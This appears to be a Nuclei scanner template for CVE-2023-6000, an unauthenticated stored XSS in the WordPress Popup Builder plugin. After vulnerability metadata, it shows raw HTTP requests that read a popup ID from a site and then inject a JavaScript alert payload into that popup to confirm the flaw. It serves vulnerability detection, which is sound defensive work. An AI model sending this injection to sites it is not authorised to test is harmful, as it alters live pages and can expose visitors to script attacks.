WordPress Popup Builder <= 4.2.3 - Unauthenticated Stored XSS

id: CVE-2023-6000

info:
  name: WordPress Popup Builder <= 4.2.3 - Unauthenticated Stored XSS
  author: riteshs4hu
  severity: medium
  description: |
    The Popup Builder WordPress plugin before 4.2.3 does not prevent simple visitors from updating existing popups, and injecting raw JavaScript in them, which could lead to Stored XSS attacks.
  impact: |
    Unauthenticated attackers can update existing popups and inject raw JavaScript to achieve stored cross-site scripting attacks against WordPress Popup Builder users.
  remediation: Fixed in 4.2.3
  reference:
    - https://wordpress.org/plugins/popup-builder/
    - https://nvd.nist.gov/vuln/detail/cve-2023-6000
    - https://wpscan.com/vulnerability/cdb3a8bd-4ee0-4ce0-9029-0490273bcfc8/
    - https://github.com/rxerium/CVE-2023-6000
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-6000
    cwe-id: CWE-79
    epss-score: 0.01999
    epss-percentile: 0.80612
    cpe: cpe:2.3:a:sygnoos:popup_builder:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: sygnoos
    product: popup_builder
    framework: wordpress
    fofa-query: body="/wp-content/plugins/popup-builder"
    publicwww-query: "/wp-content/plugins/popup-builder/"
  tags: cve,cve2023,wordpress,wp-plugin,wp,wpscan,xss,stored,intrusive,vkev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: popup_id
        group: 1
        regex:
          - 'sgpb-main-popup-data-container-([0-9]+)'
        internal: true

  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        sgpb-is-preview=1&post_ID={{popup_id}}&sgpb-type=html&sgpb-WillOpen=alert('document.domain');

    matchers:
      - type: dsl
        dsl:
          - contains_all(body, 'alert(\'document.domain\')', 'popup-builder')
          - contains(content_type, "text/html")
          - status_code == 200
        condition: and
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